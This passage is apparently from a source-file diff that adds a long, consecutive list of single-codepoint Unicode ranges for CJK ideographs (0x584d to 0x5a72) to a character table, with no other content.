+ [0x584d, 0x584d], /* CJK Ideograph */
+ [0x584e, 0x584e], /* CJK Ideograph */
+ [0x584f, 0x584f], /* CJK Ideograph */
+ [0x5850, 0x5850], /* CJK Ideograph */
+ [0x5851, 0x5851], /* CJK Ideograph */
+ [0x5852, 0x5852], /* CJK Ideograph */
+ [0x5853, 0x5853], /* CJK Ideograph */
+ [0x5854, 0x5854], /* CJK Ideograph */
+ [0x5855, 0x5855], /* CJK Ideograph */
+ [0x5856, 0x5856], /* CJK Ideograph */
+ [0x5857, 0x5857], /* CJK Ideograph */
+ [0x5858, 0x5858], /* CJK Ideograph */
+ [0x5859, 0x5859], /* CJK Ideograph */
+ [0x585a, 0x585a], /* CJK Ideograph */
+ [0x585b, 0x585b], /* CJK Ideograph */
+ [0x585c, 0x585c], /* CJK Ideograph */
+ [0x585d, 0x585d], /* CJK Ideograph */
+ [0x585e, 0x585e], /* CJK Ideograph */
+ [0x585f, 0x585f], /* CJK Ideograph */
+ [0x5860, 0x5860], /* CJK Ideograph */
+ [0x5861, 0x5861], /* CJK Ideograph */
+ [0x5862, 0x5862], /* CJK Ideograph */
+ [0x5863, 0x5863], /* CJK Ideograph */
+ [0x5864, 0x5864], /* CJK Ideograph */
+ [0x5865, 0x5865], /* CJK Ideograph */
+ [0x5866, 0x5866], /* CJK Ideograph */
+ [0x5867, 0x5867], /* CJK Ideograph */
+ [0x5868, 0x5868], /* CJK Ideograph */
+ [0x5869, 0x5869], /* CJK Ideograph */
+ [0x586a, 0x586a], /* CJK Ideograph */
+ [0x586b, 0x586b], /* CJK Ideograph */
+ [0x586c, 0x586c], /* CJK Ideograph */
+ [0x586d, 0x586d], /* CJK Ideograph */
+ [0x586e, 0x586e], /* CJK Ideograph */
+ [0x586f, 0x586f], /* CJK Ideograph */
+ [0x5870, 0x5870], /* CJK Ideograph */
+ [0x5871, 0x5871], /* CJK Ideograph */
+ [0x5872, 0x5872], /* CJK Ideograph */
+ [0x5873, 0x5873], /* CJK Ideograph */
+ [0x5874, 0x5874], /* CJK Ideograph */
+ [0x5875, 0x5875], /* CJK Ideograph */
+ [0x5876, 0x5876], /* CJK Ideograph */
+ [0x5877, 0x5877], /* CJK Ideograph */
+ [0x5878, 0x5878], /* CJK Ideograph */
+ [0x5879, 0x5879], /* CJK Ideograph */
+ [0x587a, 0x587a], /* CJK Ideograph */
+ [0x587b, 0x587b], /* CJK Ideograph */
+ [0x587c, 0x587c], /* CJK Ideograph */
+ [0x587d, 0x587d], /* CJK Ideograph */
+ [0x587e, 0x587e], /* CJK Ideograph */
+ [0x587f, 0x587f], /* CJK Ideograph */
+ [0x5880, 0x5880], /* CJK Ideograph */
+ [0x5881, 0x5881], /* CJK Ideograph */
+ [0x5882, 0x5882], /* CJK Ideograph */
+ [0x5883, 0x5883], /* CJK Ideograph */
+ [0x5884, 0x5884], /* CJK Ideograph */
+ [0x5885, 0x5885], /* CJK Ideograph */
+ [0x5886, 0x5886], /* CJK Ideograph */
+ [0x5887, 0x5887], /* CJK Ideograph */
+ [0x5888, 0x5888], /* CJK Ideograph */
+ [0x5889, 0x5889], /* CJK Ideograph */
+ [0x588a, 0x588a], /* CJK Ideograph */
+ [0x588b, 0x588b], /* CJK Ideograph */
+ [0x588c, 0x588c], /* CJK Ideograph */
+ [0x588d, 0x588d], /* CJK Ideograph */
+ [0x588e, 0x588e], /* CJK Ideograph */
+ [0x588f, 0x588f], /* CJK Ideograph */
+ [0x5890, 0x5890], /* CJK Ideograph */
+ [0x5891, 0x5891], /* CJK Ideograph */
+ [0x5892, 0x5892], /* CJK Ideograph */
+ [0x5893, 0x5893], /* CJK Ideograph */
+ [0x5894, 0x5894], /* CJK Ideograph */
+ [0x5895, 0x5895], /* CJK Ideograph */
+ [0x5896, 0x5896], /* CJK Ideograph */
+ [0x5897, 0x5897], /* CJK Ideograph */
+ [0x5898, 0x5898], /* CJK Ideograph */
+ [0x5899, 0x5899], /* CJK Ideograph */
+ [0x589a, 0x589a], /* CJK Ideograph */
+ [0x589b, 0x589b], /* CJK Ideograph */
+ [0x589c, 0x589c], /* CJK Ideograph */
+ [0x589d, 0x589d], /* CJK Ideograph */
+ [0x589e, 0x589e], /* CJK Ideograph */
+ [0x589f, 0x589f], /* CJK Ideograph */
+ [0x58a0, 0x58a0], /* CJK Ideograph */
+ [0x58a1, 0x58a1], /* CJK Ideograph */
+ [0x58a2, 0x58a2], /* CJK Ideograph */
+ [0x58a3, 0x58a3], /* CJK Ideograph */
+ [0x58a4, 0x58a4], /* CJK Ideograph */
+ [0x58a5, 0x58a5], /* CJK Ideograph */
+ [0x58a6, 0x58a6], /* CJK Ideograph */
+ [0x58a7, 0x58a7], /* CJK Ideograph */
+ [0x58a8, 0x58a8], /* CJK Ideograph */
+ [0x58a9, 0x58a9], /* CJK Ideograph */
+ [0x58aa, 0x58aa], /* CJK Ideograph */
+ [0x58ab, 0x58ab], /* CJK Ideograph */
+ [0x58ac, 0x58ac], /* CJK Ideograph */
+ [0x58ad, 0x58ad], /* CJK Ideograph */
+ [0x58ae, 0x58ae], /* CJK Ideograph */
+ [0x58af, 0x58af], /* CJK Ideograph */
+ [0x58b0, 0x58b0], /* CJK Ideograph */
+ [0x58b1, 0x58b1], /* CJK Ideograph */
+ [0x58b2, 0x58b2], /* CJK Ideograph */
+ [0x58b3, 0x58b3], /* CJK Ideograph */
+ [0x58b4, 0x58b4], /* CJK Ideograph */
+ [0x58b5, 0x58b5], /* CJK Ideograph */
+ [0x58b6, 0x58b6], /* CJK Ideograph */
+ [0x58b7, 0x58b7], /* CJK Ideograph */
+ [0x58b8, 0x58b8], /* CJK Ideograph */
+ [0x58b9, 0x58b9], /* CJK Ideograph */
+ [0x58ba, 0x58ba], /* CJK Ideograph */
+ [0x58bb, 0x58bb], /* CJK Ideograph */
+ [0x58bc, 0x58bc], /* CJK Ideograph */
+ [0x58bd, 0x58bd], /* CJK Ideograph */
+ [0x58be, 0x58be], /* CJK Ideograph */
+ [0x58bf, 0x58bf], /* CJK Ideograph */
+ [0x58c0, 0x58c0], /* CJK Ideograph */
+ [0x58c1, 0x58c1], /* CJK Ideograph */
+ [0x58c2, 0x58c2], /* CJK Ideograph */
+ [0x58c3, 0x58c3], /* CJK Ideograph */
+ [0x58c4, 0x58c4], /* CJK Ideograph */
+ [0x58c5, 0x58c5], /* CJK Ideograph */
+ [0x58c6, 0x58c6], /* CJK Ideograph */
+ [0x58c7, 0x58c7], /* CJK Ideograph */
+ [0x58c8, 0x58c8], /* CJK Ideograph */
+ [0x58c9, 0x58c9], /* CJK Ideograph */
+ [0x58ca, 0x58ca], /* CJK Ideograph */
+ [0x58cb, 0x58cb], /* CJK Ideograph */
+ [0x58cc, 0x58cc], /* CJK Ideograph */
+ [0x58cd, 0x58cd], /* CJK Ideograph */
+ [0x58ce, 0x58ce], /* CJK Ideograph */
+ [0x58cf, 0x58cf], /* CJK Ideograph */
+ [0x58d0, 0x58d0], /* CJK Ideograph */
+ [0x58d1, 0x58d1], /* CJK Ideograph */
+ [0x58d2, 0x58d2], /* CJK Ideograph */
+ [0x58d3, 0x58d3], /* CJK Ideograph */
+ [0x58d4, 0x58d4], /* CJK Ideograph */
+ [0x58d5, 0x58d5], /* CJK Ideograph */
+ [0x58d6, 0x58d6], /* CJK Ideograph */
+ [0x58d7, 0x58d7], /* CJK Ideograph */
+ [0x58d8, 0x58d8], /* CJK Ideograph */
+ [0x58d9, 0x58d9], /* CJK Ideograph */
+ [0x58da, 0x58da], /* CJK Ideograph */
+ [0x58db, 0x58db], /* CJK Ideograph */
+ [0x58dc, 0x58dc], /* CJK Ideograph */
+ [0x58dd, 0x58dd], /* CJK Ideograph */
+ [0x58de, 0x58de], /* CJK Ideograph */
+ [0x58df, 0x58df], /* CJK Ideograph */
+ [0x58e0, 0x58e0], /* CJK Ideograph */
+ [0x58e1, 0x58e1], /* CJK Ideograph */
+ [0x58e2, 0x58e2], /* CJK Ideograph */
+ [0x58e3, 0x58e3], /* CJK Ideograph */
+ [0x58e4, 0x58e4], /* CJK Ideograph */
+ [0x58e5, 0x58e5], /* CJK Ideograph */
+ [0x58e6, 0x58e6], /* CJK Ideograph */
+ [0x58e7, 0x58e7], /* CJK Ideograph */
+ [0x58e8, 0x58e8], /* CJK Ideograph */
+ [0x58e9, 0x58e9], /* CJK Ideograph */
+ [0x58ea, 0x58ea], /* CJK Ideograph */
+ [0x58eb, 0x58eb], /* CJK Ideograph */
+ [0x58ec, 0x58ec], /* CJK Ideograph */
+ [0x58ed, 0x58ed], /* CJK Ideograph */
+ [0x58ee, 0x58ee], /* CJK Ideograph */
+ [0x58ef, 0x58ef], /* CJK Ideograph */
+ [0x58f0, 0x58f0], /* CJK Ideograph */
+ [0x58f1, 0x58f1], /* CJK Ideograph */
+ [0x58f2, 0x58f2], /* CJK Ideograph */
+ [0x58f3, 0x58f3], /* CJK Ideograph */
+ [0x58f4, 0x58f4], /* CJK Ideograph */
+ [0x58f5, 0x58f5], /* CJK Ideograph */
+ [0x58f6, 0x58f6], /* CJK Ideograph */
+ [0x58f7, 0x58f7], /* CJK Ideograph */
+ [0x58f8, 0x58f8], /* CJK Ideograph */
+ [0x58f9, 0x58f9], /* CJK Ideograph */
+ [0x58fa, 0x58fa], /* CJK Ideograph */
+ [0x58fb, 0x58fb], /* CJK Ideograph */
+ [0x58fc, 0x58fc], /* CJK Ideograph */
+ [0x58fd, 0x58fd], /* CJK Ideograph */
+ [0x58fe, 0x58fe], /* CJK Ideograph */
+ [0x58ff, 0x58ff], /* CJK Ideograph */
+ [0x5900, 0x5900], /* CJK Ideograph */
+ [0x5901, 0x5901], /* CJK Ideograph */
+ [0x5902, 0x5902], /* CJK Ideograph */
+ [0x5903, 0x5903], /* CJK Ideograph */
+ [0x5904, 0x5904], /* CJK Ideograph */
+ [0x5905, 0x5905], /* CJK Ideograph */
+ [0x5906, 0x5906], /* CJK Ideograph */
+ [0x5907, 0x5907], /* CJK Ideograph */
+ [0x5908, 0x5908], /* CJK Ideograph */
+ [0x5909, 0x5909], /* CJK Ideograph */
+ [0x590a, 0x590a], /* CJK Ideograph */
+ [0x590b, 0x590b], /* CJK Ideograph */
+ [0x590c, 0x590c], /* CJK Ideograph */
+ [0x590d, 0x590d], /* CJK Ideograph */
+ [0x590e, 0x590e], /* CJK Ideograph */
+ [0x590f, 0x590f], /* CJK Ideograph */
+ [0x5910, 0x5910], /* CJK Ideograph */
+ [0x5911, 0x5911], /* CJK Ideograph */
+ [0x5912, 0x5912], /* CJK Ideograph */
+ [0x5913, 0x5913], /* CJK Ideograph */
+ [0x5914, 0x5914], /* CJK Ideograph */
+ [0x5915, 0x5915], /* CJK Ideograph */
+ [0x5916, 0x5916], /* CJK Ideograph */
+ [0x5917, 0x5917], /* CJK Ideograph */
+ [0x5918, 0x5918], /* CJK Ideograph */
+ [0x5919, 0x5919], /* CJK Ideograph */
+ [0x591a, 0x591a], /* CJK Ideograph */
+ [0x591b, 0x591b], /* CJK Ideograph */
+ [0x591c, 0x591c], /* CJK Ideograph */
+ [0x591d, 0x591d], /* CJK Ideograph */
+ [0x591e, 0x591e], /* CJK Ideograph */
+ [0x591f, 0x591f], /* CJK Ideograph */
+ [0x5920, 0x5920], /* CJK Ideograph */
+ [0x5921, 0x5921], /* CJK Ideograph */
+ [0x5922, 0x5922], /* CJK Ideograph */
+ [0x5923, 0x5923], /* CJK Ideograph */
+ [0x5924, 0x5924], /* CJK Ideograph */
+ [0x5925, 0x5925], /* CJK Ideograph */
+ [0x5926, 0x5926], /* CJK Ideograph */
+ [0x5927, 0x5927], /* CJK Ideograph */
+ [0x5928, 0x5928], /* CJK Ideograph */
+ [0x5929, 0x5929], /* CJK Ideograph */
+ [0x592a, 0x592a], /* CJK Ideograph */
+ [0x592b, 0x592b], /* CJK Ideograph */
+ [0x592c, 0x592c], /* CJK Ideograph */
+ [0x592d, 0x592d], /* CJK Ideograph */
+ [0x592e, 0x592e], /* CJK Ideograph */
+ [0x592f, 0x592f], /* CJK Ideograph */
+ [0x5930, 0x5930], /* CJK Ideograph */
+ [0x5931, 0x5931], /* CJK Ideograph */
+ [0x5932, 0x5932], /* CJK Ideograph */
+ [0x5933, 0x5933], /* CJK Ideograph */
+ [0x5934, 0x5934], /* CJK Ideograph */
+ [0x5935, 0x5935], /* CJK Ideograph */
+ [0x5936, 0x5936], /* CJK Ideograph */
+ [0x5937, 0x5937], /* CJK Ideograph */
+ [0x5938, 0x5938], /* CJK Ideograph */
+ [0x5939, 0x5939], /* CJK Ideograph */
+ [0x593a, 0x593a], /* CJK Ideograph */
+ [0x593b, 0x593b], /* CJK Ideograph */
+ [0x593c, 0x593c], /* CJK Ideograph */
+ [0x593d, 0x593d], /* CJK Ideograph */
+ [0x593e, 0x593e], /* CJK Ideograph */
+ [0x593f, 0x593f], /* CJK Ideograph */
+ [0x5940, 0x5940], /* CJK Ideograph */
+ [0x5941, 0x5941], /* CJK Ideograph */
+ [0x5942, 0x5942], /* CJK Ideograph */
+ [0x5943, 0x5943], /* CJK Ideograph */
+ [0x5944, 0x5944], /* CJK Ideograph */
+ [0x5945, 0x5945], /* CJK Ideograph */
+ [0x5946, 0x5946], /* CJK Ideograph */
+ [0x5947, 0x5947], /* CJK Ideograph */
+ [0x5948, 0x5948], /* CJK Ideograph */
+ [0x5949, 0x5949], /* CJK Ideograph */
+ [0x594a, 0x594a], /* CJK Ideograph */
+ [0x594b, 0x594b], /* CJK Ideograph */
+ [0x594c, 0x594c], /* CJK Ideograph */
+ [0x594d, 0x594d], /* CJK Ideograph */
+ [0x594e, 0x594e], /* CJK Ideograph */
+ [0x594f, 0x594f], /* CJK Ideograph */
+ [0x5950, 0x5950], /* CJK Ideograph */
+ [0x5951, 0x5951], /* CJK Ideograph */
+ [0x5952, 0x5952], /* CJK Ideograph */
+ [0x5953, 0x5953], /* CJK Ideograph */
+ [0x5954, 0x5954], /* CJK Ideograph */
+ [0x5955, 0x5955], /* CJK Ideograph */
+ [0x5956, 0x5956], /* CJK Ideograph */
+ [0x5957, 0x5957], /* CJK Ideograph */
+ [0x5958, 0x5958], /* CJK Ideograph */
+ [0x5959, 0x5959], /* CJK Ideograph */
+ [0x595a, 0x595a], /* CJK Ideograph */
+ [0x595b, 0x595b], /* CJK Ideograph */
+ [0x595c, 0x595c], /* CJK Ideograph */
+ [0x595d, 0x595d], /* CJK Ideograph */
+ [0x595e, 0x595e], /* CJK Ideograph */
+ [0x595f, 0x595f], /* CJK Ideograph */
+ [0x5960, 0x5960], /* CJK Ideograph */
+ [0x5961, 0x5961], /* CJK Ideograph */
+ [0x5962, 0x5962], /* CJK Ideograph */
+ [0x5963, 0x5963], /* CJK Ideograph */
+ [0x5964, 0x5964], /* CJK Ideograph */
+ [0x5965, 0x5965], /* CJK Ideograph */
+ [0x5966, 0x5966], /* CJK Ideograph */
+ [0x5967, 0x5967], /* CJK Ideograph */
+ [0x5968, 0x5968], /* CJK Ideograph */
+ [0x5969, 0x5969], /* CJK Ideograph */
+ [0x596a, 0x596a], /* CJK Ideograph */
+ [0x596b, 0x596b], /* CJK Ideograph */
+ [0x596c, 0x596c], /* CJK Ideograph */
+ [0x596d, 0x596d], /* CJK Ideograph */
+ [0x596e, 0x596e], /* CJK Ideograph */
+ [0x596f, 0x596f], /* CJK Ideograph */
+ [0x5970, 0x5970], /* CJK Ideograph */
+ [0x5971, 0x5971], /* CJK Ideograph */
+ [0x5972, 0x5972], /* CJK Ideograph */
+ [0x5973, 0x5973], /* CJK Ideograph */
+ [0x5974, 0x5974], /* CJK Ideograph */
+ [0x5975, 0x5975], /* CJK Ideograph */
+ [0x5976, 0x5976], /* CJK Ideograph */
+ [0x5977, 0x5977], /* CJK Ideograph */
+ [0x5978, 0x5978], /* CJK Ideograph */
+ [0x5979, 0x5979], /* CJK Ideograph */
+ [0x597a, 0x597a], /* CJK Ideograph */
+ [0x597b, 0x597b], /* CJK Ideograph */
+ [0x597c, 0x597c], /* CJK Ideograph */
+ [0x597d, 0x597d], /* CJK Ideograph */
+ [0x597e, 0x597e], /* CJK Ideograph */
+ [0x597f, 0x597f], /* CJK Ideograph */
+ [0x5980, 0x5980], /* CJK Ideograph */
+ [0x5981, 0x5981], /* CJK Ideograph */
+ [0x5982, 0x5982], /* CJK Ideograph */
+ [0x5983, 0x5983], /* CJK Ideograph */
+ [0x5984, 0x5984], /* CJK Ideograph */
+ [0x5985, 0x5985], /* CJK Ideograph */
+ [0x5986, 0x5986], /* CJK Ideograph */
+ [0x5987, 0x5987], /* CJK Ideograph */
+ [0x5988, 0x5988], /* CJK Ideograph */
+ [0x5989, 0x5989], /* CJK Ideograph */
+ [0x598a, 0x598a], /* CJK Ideograph */
+ [0x598b, 0x598b], /* CJK Ideograph */
+ [0x598c, 0x598c], /* CJK Ideograph */
+ [0x598d, 0x598d], /* CJK Ideograph */
+ [0x598e, 0x598e], /* CJK Ideograph */
+ [0x598f, 0x598f], /* CJK Ideograph */
+ [0x5990, 0x5990], /* CJK Ideograph */
+ [0x5991, 0x5991], /* CJK Ideograph */
+ [0x5992, 0x5992], /* CJK Ideograph */
+ [0x5993, 0x5993], /* CJK Ideograph */
+ [0x5994, 0x5994], /* CJK Ideograph */
+ [0x5995, 0x5995], /* CJK Ideograph */
+ [0x5996, 0x5996], /* CJK Ideograph */
+ [0x5997, 0x5997], /* CJK Ideograph */
+ [0x5998, 0x5998], /* CJK Ideograph */
+ [0x5999, 0x5999], /* CJK Ideograph */
+ [0x599a, 0x599a], /* CJK Ideograph */
+ [0x599b, 0x599b], /* CJK Ideograph */
+ [0x599c, 0x599c], /* CJK Ideograph */
+ [0x599d, 0x599d], /* CJK Ideograph */
+ [0x599e, 0x599e], /* CJK Ideograph */
+ [0x599f, 0x599f], /* CJK Ideograph */
+ [0x59a0, 0x59a0], /* CJK Ideograph */
+ [0x59a1, 0x59a1], /* CJK Ideograph */
+ [0x59a2, 0x59a2], /* CJK Ideograph */
+ [0x59a3, 0x59a3], /* CJK Ideograph */
+ [0x59a4, 0x59a4], /* CJK Ideograph */
+ [0x59a5, 0x59a5], /* CJK Ideograph */
+ [0x59a6, 0x59a6], /* CJK Ideograph */
+ [0x59a7, 0x59a7], /* CJK Ideograph */
+ [0x59a8, 0x59a8], /* CJK Ideograph */
+ [0x59a9, 0x59a9], /* CJK Ideograph */
+ [0x59aa, 0x59aa], /* CJK Ideograph */
+ [0x59ab, 0x59ab], /* CJK Ideograph */
+ [0x59ac, 0x59ac], /* CJK Ideograph */
+ [0x59ad, 0x59ad], /* CJK Ideograph */
+ [0x59ae, 0x59ae], /* CJK Ideograph */
+ [0x59af, 0x59af], /* CJK Ideograph */
+ [0x59b0, 0x59b0], /* CJK Ideograph */
+ [0x59b1, 0x59b1], /* CJK Ideograph */
+ [0x59b2, 0x59b2], /* CJK Ideograph */
+ [0x59b3, 0x59b3], /* CJK Ideograph */
+ [0x59b4, 0x59b4], /* CJK Ideograph */
+ [0x59b5, 0x59b5], /* CJK Ideograph */
+ [0x59b6, 0x59b6], /* CJK Ideograph */
+ [0x59b7, 0x59b7], /* CJK Ideograph */
+ [0x59b8, 0x59b8], /* CJK Ideograph */
+ [0x59b9, 0x59b9], /* CJK Ideograph */
+ [0x59ba, 0x59ba], /* CJK Ideograph */
+ [0x59bb, 0x59bb], /* CJK Ideograph */
+ [0x59bc, 0x59bc], /* CJK Ideograph */
+ [0x59bd, 0x59bd], /* CJK Ideograph */
+ [0x59be, 0x59be], /* CJK Ideograph */
+ [0x59bf, 0x59bf], /* CJK Ideograph */
+ [0x59c0, 0x59c0], /* CJK Ideograph */
+ [0x59c1, 0x59c1], /* CJK Ideograph */
+ [0x59c2, 0x59c2], /* CJK Ideograph */
+ [0x59c3, 0x59c3], /* CJK Ideograph */
+ [0x59c4, 0x59c4], /* CJK Ideograph */
+ [0x59c5, 0x59c5], /* CJK Ideograph */
+ [0x59c6, 0x59c6], /* CJK Ideograph */
+ [0x59c7, 0x59c7], /* CJK Ideograph */
+ [0x59c8, 0x59c8], /* CJK Ideograph */
+ [0x59c9, 0x59c9], /* CJK Ideograph */
+ [0x59ca, 0x59ca], /* CJK Ideograph */
+ [0x59cb, 0x59cb], /* CJK Ideograph */
+ [0x59cc, 0x59cc], /* CJK Ideograph */
+ [0x59cd, 0x59cd], /* CJK Ideograph */
+ [0x59ce, 0x59ce], /* CJK Ideograph */
+ [0x59cf, 0x59cf], /* CJK Ideograph */
+ [0x59d0, 0x59d0], /* CJK Ideograph */
+ [0x59d1, 0x59d1], /* CJK Ideograph */
+ [0x59d2, 0x59d2], /* CJK Ideograph */
+ [0x59d3, 0x59d3], /* CJK Ideograph */
+ [0x59d4, 0x59d4], /* CJK Ideograph */
+ [0x59d5, 0x59d5], /* CJK Ideograph */
+ [0x59d6, 0x59d6], /* CJK Ideograph */
+ [0x59d7, 0x59d7], /* CJK Ideograph */
+ [0x59d8, 0x59d8], /* CJK Ideograph */
+ [0x59d9, 0x59d9], /* CJK Ideograph */
+ [0x59da, 0x59da], /* CJK Ideograph */
+ [0x59db, 0x59db], /* CJK Ideograph */
+ [0x59dc, 0x59dc], /* CJK Ideograph */
+ [0x59dd, 0x59dd], /* CJK Ideograph */
+ [0x59de, 0x59de], /* CJK Ideograph */
+ [0x59df, 0x59df], /* CJK Ideograph */
+ [0x59e0, 0x59e0], /* CJK Ideograph */
+ [0x59e1, 0x59e1], /* CJK Ideograph */
+ [0x59e2, 0x59e2], /* CJK Ideograph */
+ [0x59e3, 0x59e3], /* CJK Ideograph */
+ [0x59e4, 0x59e4], /* CJK Ideograph */
+ [0x59e5, 0x59e5], /* CJK Ideograph */
+ [0x59e6, 0x59e6], /* CJK Ideograph */
+ [0x59e7, 0x59e7], /* CJK Ideograph */
+ [0x59e8, 0x59e8], /* CJK Ideograph */
+ [0x59e9, 0x59e9], /* CJK Ideograph */
+ [0x59ea, 0x59ea], /* CJK Ideograph */
+ [0x59eb, 0x59eb], /* CJK Ideograph */
+ [0x59ec, 0x59ec], /* CJK Ideograph */
+ [0x59ed, 0x59ed], /* CJK Ideograph */
+ [0x59ee, 0x59ee], /* CJK Ideograph */
+ [0x59ef, 0x59ef], /* CJK Ideograph */
+ [0x59f0, 0x59f0], /* CJK Ideograph */
+ [0x59f1, 0x59f1], /* CJK Ideograph */
+ [0x59f2, 0x59f2], /* CJK Ideograph */
+ [0x59f3, 0x59f3], /* CJK Ideograph */
+ [0x59f4, 0x59f4], /* CJK Ideograph */
+ [0x59f5, 0x59f5], /* CJK Ideograph */
+ [0x59f6, 0x59f6], /* CJK Ideograph */
+ [0x59f7, 0x59f7], /* CJK Ideograph */
+ [0x59f8, 0x59f8], /* CJK Ideograph */
+ [0x59f9, 0x59f9], /* CJK Ideograph */
+ [0x59fa, 0x59fa], /* CJK Ideograph */
+ [0x59fb, 0x59fb], /* CJK Ideograph */
+ [0x59fc, 0x59fc], /* CJK Ideograph */
+ [0x59fd, 0x59fd], /* CJK Ideograph */
+ [0x59fe, 0x59fe], /* CJK Ideograph */
+ [0x59ff, 0x59ff], /* CJK Ideograph */
+ [0x5a00, 0x5a00], /* CJK Ideograph */
+ [0x5a01, 0x5a01], /* CJK Ideograph */
+ [0x5a02, 0x5a02], /* CJK Ideograph */
+ [0x5a03, 0x5a03], /* CJK Ideograph */
+ [0x5a04, 0x5a04], /* CJK Ideograph */
+ [0x5a05, 0x5a05], /* CJK Ideograph */
+ [0x5a06, 0x5a06], /* CJK Ideograph */
+ [0x5a07, 0x5a07], /* CJK Ideograph */
+ [0x5a08, 0x5a08], /* CJK Ideograph */
+ [0x5a09, 0x5a09], /* CJK Ideograph */
+ [0x5a0a, 0x5a0a], /* CJK Ideograph */
+ [0x5a0b, 0x5a0b], /* CJK Ideograph */
+ [0x5a0c, 0x5a0c], /* CJK Ideograph */
+ [0x5a0d, 0x5a0d], /* CJK Ideograph */
+ [0x5a0e, 0x5a0e], /* CJK Ideograph */
+ [0x5a0f, 0x5a0f], /* CJK Ideograph */
+ [0x5a10, 0x5a10], /* CJK Ideograph */
+ [0x5a11, 0x5a11], /* CJK Ideograph */
+ [0x5a12, 0x5a12], /* CJK Ideograph */
+ [0x5a13, 0x5a13], /* CJK Ideograph */
+ [0x5a14, 0x5a14], /* CJK Ideograph */
+ [0x5a15, 0x5a15], /* CJK Ideograph */
+ [0x5a16, 0x5a16], /* CJK Ideograph */
+ [0x5a17, 0x5a17], /* CJK Ideograph */
+ [0x5a18, 0x5a18], /* CJK Ideograph */
+ [0x5a19, 0x5a19], /* CJK Ideograph */
+ [0x5a1a, 0x5a1a], /* CJK Ideograph */
+ [0x5a1b, 0x5a1b], /* CJK Ideograph */
+ [0x5a1c, 0x5a1c], /* CJK Ideograph */
+ [0x5a1d, 0x5a1d], /* CJK Ideograph */
+ [0x5a1e, 0x5a1e], /* CJK Ideograph */
+ [0x5a1f, 0x5a1f], /* CJK Ideograph */
+ [0x5a20, 0x5a20], /* CJK Ideograph */
+ [0x5a21, 0x5a21], /* CJK Ideograph */
+ [0x5a22, 0x5a22], /* CJK Ideograph */
+ [0x5a23, 0x5a23], /* CJK Ideograph */
+ [0x5a24, 0x5a24], /* CJK Ideograph */
+ [0x5a25, 0x5a25], /* CJK Ideograph */
+ [0x5a26, 0x5a26], /* CJK Ideograph */
+ [0x5a27, 0x5a27], /* CJK Ideograph */
+ [0x5a28, 0x5a28], /* CJK Ideograph */
+ [0x5a29, 0x5a29], /* CJK Ideograph */
+ [0x5a2a, 0x5a2a], /* CJK Ideograph */
+ [0x5a2b, 0x5a2b], /* CJK Ideograph */
+ [0x5a2c, 0x5a2c], /* CJK Ideograph */
+ [0x5a2d, 0x5a2d], /* CJK Ideograph */
+ [0x5a2e, 0x5a2e], /* CJK Ideograph */
+ [0x5a2f, 0x5a2f], /* CJK Ideograph */
+ [0x5a30, 0x5a30], /* CJK Ideograph */
+ [0x5a31, 0x5a31], /* CJK Ideograph */
+ [0x5a32, 0x5a32], /* CJK Ideograph */
+ [0x5a33, 0x5a33], /* CJK Ideograph */
+ [0x5a34, 0x5a34], /* CJK Ideograph */
+ [0x5a35, 0x5a35], /* CJK Ideograph */
+ [0x5a36, 0x5a36], /* CJK Ideograph */
+ [0x5a37, 0x5a37], /* CJK Ideograph */
+ [0x5a38, 0x5a38], /* CJK Ideograph */
+ [0x5a39, 0x5a39], /* CJK Ideograph */
+ [0x5a3a, 0x5a3a], /* CJK Ideograph */
+ [0x5a3b, 0x5a3b], /* CJK Ideograph */
+ [0x5a3c, 0x5a3c], /* CJK Ideograph */
+ [0x5a3d, 0x5a3d], /* CJK Ideograph */
+ [0x5a3e, 0x5a3e], /* CJK Ideograph */
+ [0x5a3f, 0x5a3f], /* CJK Ideograph */
+ [0x5a40, 0x5a40], /* CJK Ideograph */
+ [0x5a41, 0x5a41], /* CJK Ideograph */
+ [0x5a42, 0x5a42], /* CJK Ideograph */
+ [0x5a43, 0x5a43], /* CJK Ideograph */
+ [0x5a44, 0x5a44], /* CJK Ideograph */
+ [0x5a45, 0x5a45], /* CJK Ideograph */
+ [0x5a46, 0x5a46], /* CJK Ideograph */
+ [0x5a47, 0x5a47], /* CJK Ideograph */
+ [0x5a48, 0x5a48], /* CJK Ideograph */
+ [0x5a49, 0x5a49], /* CJK Ideograph */
+ [0x5a4a, 0x5a4a], /* CJK Ideograph */
+ [0x5a4b, 0x5a4b], /* CJK Ideograph */
+ [0x5a4c, 0x5a4c], /* CJK Ideograph */
+ [0x5a4d, 0x5a4d], /* CJK Ideograph */
+ [0x5a4e, 0x5a4e], /* CJK Ideograph */
+ [0x5a4f, 0x5a4f], /* CJK Ideograph */
+ [0x5a50, 0x5a50], /* CJK Ideograph */
+ [0x5a51, 0x5a51], /* CJK Ideograph */
+ [0x5a52, 0x5a52], /* CJK Ideograph */
+ [0x5a53, 0x5a53], /* CJK Ideograph */
+ [0x5a54, 0x5a54], /* CJK Ideograph */
+ [0x5a55, 0x5a55], /* CJK Ideograph */
+ [0x5a56, 0x5a56], /* CJK Ideograph */
+ [0x5a57, 0x5a57], /* CJK Ideograph */
+ [0x5a58, 0x5a58], /* CJK Ideograph */
+ [0x5a59, 0x5a59], /* CJK Ideograph */
+ [0x5a5a, 0x5a5a], /* CJK Ideograph */
+ [0x5a5b, 0x5a5b], /* CJK Ideograph */
+ [0x5a5c, 0x5a5c], /* CJK Ideograph */
+ [0x5a5d, 0x5a5d], /* CJK Ideograph */
+ [0x5a5e, 0x5a5e], /* CJK Ideograph */
+ [0x5a5f, 0x5a5f], /* CJK Ideograph */
+ [0x5a60, 0x5a60], /* CJK Ideograph */
+ [0x5a61, 0x5a61], /* CJK Ideograph */
+ [0x5a62, 0x5a62], /* CJK Ideograph */
+ [0x5a63, 0x5a63], /* CJK Ideograph */
+ [0x5a64, 0x5a64], /* CJK Ideograph */
+ [0x5a65, 0x5a65], /* CJK Ideograph */
+ [0x5a66, 0x5a66], /* CJK Ideograph */
+ [0x5a67, 0x5a67], /* CJK Ideograph */
+ [0x5a68, 0x5a68], /* CJK Ideograph */
+ [0x5a69, 0x5a69], /* CJK Ideograph */
+ [0x5a6a, 0x5a6a], /* CJK Ideograph */
+ [0x5a6b, 0x5a6b], /* CJK Ideograph */
+ [0x5a6c, 0x5a6c], /* CJK Ideograph */
+ [0x5a6d, 0x5a6d], /* CJK Ideograph */
+ [0x5a6e, 0x5a6e], /* CJK Ideograph */
+ [0x5a6f, 0x5a6f], /* CJK Ideograph */
+ [0x5a70, 0x5a70], /* CJK Ideograph */
+ [0x5a71, 0x5a71], /* CJK Ideograph */
+ [0x5a72, 0x5a72], /* CJK Ideograph */
